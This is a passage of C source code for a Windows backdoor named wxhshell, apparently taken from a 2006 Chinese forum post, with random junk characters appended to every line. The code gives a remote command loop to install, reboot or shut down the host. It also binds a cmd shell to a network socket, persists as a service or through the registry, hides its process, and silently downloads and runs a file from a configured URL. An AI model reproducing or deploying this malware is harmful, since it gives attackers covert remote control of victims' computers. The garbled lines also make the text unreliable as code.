    switch(cmd[0]) { m&2< ?a}l  
  Sw'DS  
  // 帮助 $`l- cSH;  
  case '?': { #Y`U8n2F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tTWYlbDFN  
    break; VEb}KFyP  
  } CCl*v  
  // 安装 ?F?!QrL  
  case 'i': { ua4QtDSs  
    if(Install()) "28x-F+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G _42ckLq  
    else 2+"#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @*%5"~F  
    break; r<&d1fM;X  
    } dBobVT'  
  // 卸载 ;zSh9H  
  case 'r': { w? !@fu  
    if(Uninstall()) *QjFrw3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )JuD !  
    else o5Pq>Y2T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uo 7AU3\  
    break; wk8XD(&  
    } T!v%NZj3  
  // 显示 wxhshell 所在路径 \P{VJ^) 0  
  case 'p': { 1C.<@IZ  
    char svExeFile[MAX_PATH]; m{R`1cN=Hg  
    strcpy(svExeFile,"\n\r"); [0MVsc=  
      strcat(svExeFile,ExeFile); *QAK9mc  
        send(wsh,svExeFile,strlen(svExeFile),0); Z[0xqGYLB  
    break; evimnV  
    } mKxQ U0`  
  // 重启 17<\Q(YQ=  
  case 'b': { -fG;`N5U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U&`M G1uHe  
    if(Boot(REBOOT)) @BW~A@8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 42# rhgW  
    else { !30Dice  
    closesocket(wsh); 5p=T*Y  
    ExitThread(0); z4{|?0=C  
    } Dyt}"r\  
    break; D}\% Q #  
    } 5 ^f>L2  
  // 关机 9O@ eJ$  
  case 'd': { O]^E%;(]}i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (hd2&mSy  
    if(Boot(SHUTDOWN)) 7z F29gC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[X+6viE  
    else { q\mVZyj  
    closesocket(wsh); bX5>qqB]  
    ExitThread(0); ;znIY&Z  
    } tM{t'WU  
    break; --  _,;  
    } ZHw)N&Qn  
  // 获取shell g%RL9-z  
  case 's': { e-{k;V7b  
    CmdShell(wsh); Xv=n+uo  
    closesocket(wsh); HRPTP+  
    ExitThread(0); + s1mm c  
    break; 193Q  
  } nJ'O(Wh,)  
  // 退出 10}\7p8  
  case 'x': { .rN 5A+By`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g-Z>1V  
    CloseIt(wsh); 0[9A*  
    break; ":eHR}Hzx  
    } oryoGy=(yk  
  // 离开 }1d 6d3b  
  case 'q': { HAN#_B1.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {!'AR`|  
    closesocket(wsh); QXgh[9w G  
    WSACleanup(); =$Xdn'  
    exit(1); $Wb"X=}tl  
    break; !:rQ@PSy9  
        } 8n);NZ  
  } IY,&/MCh  
  } *>S\i7RET  
Td"f(&Hk&  
  // 提示信息 }2V|B4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3x 'BMAA+  
} *Swb40L^  
  } b/5;377_  
H.wp{m{  
  return; dO rgqz`e  
} [^~Fu9+"  
Ou8@7S  
// shell模块句柄 0I~xD9l9  
int CmdShell(SOCKET sock) }MXZ  
{ yv4hH4Io  
STARTUPINFO si; ldi'@^  
ZeroMemory(&si,sizeof(si)); VEo>uR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R}>Gk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BE}lzn=sF  
PROCESS_INFORMATION ProcessInfo; uK}k]x\z  
char cmdline[]="cmd"; duT2:~H2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !t~S.`vF  
  return 0; 3vNoD  
} |2{y'?,  
Mq6.!j  
// 自身启动模式 F~{yqY5]n  
int StartFromService(void) }_gCWz-5?  
{ a|T P2m  
typedef struct A&F@+X6@  
{ +a nNpy  
  DWORD ExitStatus; I)Lg=n$  
  DWORD PebBaseAddress; 9[6xo!  
  DWORD AffinityMask; ?&"cI5-  
  DWORD BasePriority; *sZOws<  
  ULONG UniqueProcessId; Ok2k; +l  
  ULONG InheritedFromUniqueProcessId; D|`[ [  
}   PROCESS_BASIC_INFORMATION; lj'c0k8  
" 0K5 /9  
PROCNTQSIP NtQueryInformationProcess; )#IiHBF  
xREqcH,vU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @6}c\z@AxM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0@^YxU[YN  
kM]?  
  HANDLE             hProcess; XvZg!<*OH  
  PROCESS_BASIC_INFORMATION pbi; ]%ikr&78u  
4+'yJ9~,B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {u3^#kF  
  if(NULL == hInst ) return 0; :}e*3={4  
h^?[:XBeav  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u{tjB/K&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .2[>SI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `!>zYcmT  
:=UeYm @  
  if (!NtQueryInformationProcess) return 0; >L?/Ph%d  
/|`;|0/2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c i_XcG  
  if(!hProcess) return 0; zZ OoPE  
u+z$+[lm!G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +%$!sp?  
m"X0Owx  
  CloseHandle(hProcess); P0k|33;7L  
uTBls8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a?M<r>  
if(hProcess==NULL) return 0; o^d(mJZ.F~  
c*HS#C7'2  
HMODULE hMod; s)]i0+!  
char procName[255]; -Ufd+(   
unsigned long cbNeeded; t 0nGZ%`  
R%8nR6iG"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9I+;waLlB  
- :*PXu  
  CloseHandle(hProcess); r >u0Y  
-"<H$  
if(strstr(procName,"services")) return 1; // 以服务启动 ATk>:^n  
`c(,_o a{  
  return 0; // 注册表启动 .e"De-u  
} o/2\8   
`f8{ ^Rau  
// 主模块 v3Te+oLg  
int StartWxhshell(LPSTR lpCmdLine) X./8 PK?&  
{ % 7/XZQ  
  SOCKET wsl; -`&4>\o2Lx  
BOOL val=TRUE; ZQsE07  
  int port=0; xHZx5GJp9  
  struct sockaddr_in door; S-Ryt>G  
vn6/H8  
  if(wscfg.ws_autoins) Install(); 5i83(>p3]e  
2W$c%~j$2  
port=atoi(lpCmdLine); -gv@ .#N  
XDz![s  
if(port<=0) port=wscfg.ws_port; {jJUS>  
V-O49  
  WSADATA data; #xm<|s   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cdot l$'  
D0us<9q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    ^qy$M>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M!;H3*  
  door.sin_family = AF_INET; 2RT9Q!BX{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rV[#4,}PF  
  door.sin_port = htons(port); "7l p|0I  
q'hMf?_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4/~8zvz&3  
closesocket(wsl); LV4 x9?&  
return 1; rm1R^ n  
} -Z4J?b  
I8 8y9sW  
  if(listen(wsl,2) == INVALID_SOCKET) { k2j:s}RHY  
closesocket(wsl); q !EJs:AS  
return 1; D2[uex  
} )wCA8  
  Wxhshell(wsl); FOM~Uj  
  WSACleanup(); @HMt}zD  
:_p3nb[r  
return 0; `a3q)}*Y  
3k5Mty  
} bxqXFy/I  
F2AM/m^!q  
// 以NT服务方式启动 <E&1HeP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Iwize,J~X  
{ 9K Ih}Q@P  
DWORD   status = 0; pvDr&n9  
  DWORD   specificError = 0xfffffff; HJ !)D~M{  
[qIi_(%o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wU2y<?$\8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]Qkto4DQ5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !5? #^q  
  serviceStatus.dwWin32ExitCode     = 0; nyw,Fu  
  serviceStatus.dwServiceSpecificExitCode = 0; Zo-E0[9  
  serviceStatus.dwCheckPoint       = 0; bqsb (C  
  serviceStatus.dwWaitHint       = 0; ^ Gq2"rDM  
jt S+y)2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gD@ &/j7  
  if (hServiceStatusHandle==0) return; +r2E5s   
f8lBxK  
status = GetLastError(); HP3~.1Sp  
  if (status!=NO_ERROR) 8rGW G  
{ ?0DCjh8We  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #fk)Y1  
    serviceStatus.dwCheckPoint       = 0; / h0-qW  
    serviceStatus.dwWaitHint       = 0; ie 2X.#  
    serviceStatus.dwWin32ExitCode     = status; 5w@  ;B  
    serviceStatus.dwServiceSpecificExitCode = specificError; v"F.<Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dt',)i8D  
    return; one^XYy1%  
  } _B 8e 1an  
I{_St8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o%Vf#W  
  serviceStatus.dwCheckPoint       = 0; -=Q_E^'  
  serviceStatus.dwWaitHint       = 0; y$r9Y!?s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U^+9l?ol  
} ?" {+m  
ga4 gH>4  
// 处理NT服务事件,比如:启动、停止 h$f/NSct2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mpk^e_9`<  
{ wf=#w}f  
switch(fdwControl) uZ]B?Z%y#  
{ bhOyx  
case SERVICE_CONTROL_STOP: 5y(irbk7  
  serviceStatus.dwWin32ExitCode = 0; &VY;Al  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9(|[okB  
  serviceStatus.dwCheckPoint   = 0; zv@'x nY]  
  serviceStatus.dwWaitHint     = 0; ojs&W]r0Z  
  { i\3BA"ZX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -102W{V/T  
  } <^~Xnstl  
  return; ' uo`-Y  
case SERVICE_CONTROL_PAUSE: u5H#(&Om  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }<2F]UuR  
  break; a_waLH/  
case SERVICE_CONTROL_CONTINUE: }(a y(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U"%k4]:A  
  break; pvI(hjMYPk  
case SERVICE_CONTROL_INTERROGATE: Uf4QQ `c#  
  break; ?OZbns~  
}; {;n?c$r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }E*d)n|  
} wju~5  
,\+tvrR4X  
// 标准应用程序主函数 Gxi;h=J2)>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JEdtj1v{O  
{ (PsA[>F  
\CUxGyu  
// 获取操作系统版本 fOE:~3Q  
OsIsNt=GetOsVer(); i#kRVua/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 66p_d'U  
K[~Wj8W0  
  // 从命令行安装 o4w+)hh  
  if(strpbrk(lpCmdLine,"iI")) Install(); -fL|e/   
J:?t.c~$o  
  // 下载执行文件 mH;Z_ME"  
if(wscfg.ws_downexe) { u8+<uWB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tborRi)  
  WinExec(wscfg.ws_filenam,SW_HIDE); f#eTi&w  
} wS``Q8K+dM  
~q4DePVE  
if(!OsIsNt) { *VHBTO9  
// 如果时win9x,隐藏进程并且设置为注册表启动 4TwU0N+>  
HideProc(); rJ\A)O+Mq(  
StartWxhshell(lpCmdLine); ua|qL!L+  
} h,FP,w;G  
else +}mj6I  
  if(StartFromService()) K8|6r|x  
  // 以服务方式启动 j"94hWb  
  StartServiceCtrlDispatcher(DispatchTable); 4fzq C)  
else xBgf)'W_Z  
  // 普通方式启动 y^;qT_)#  
  StartWxhshell(lpCmdLine); Qi=rhN`  
M?[lpH3  
return 0; JO :m: M  
}
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只看该作者 1 发表于: 2006-10-10
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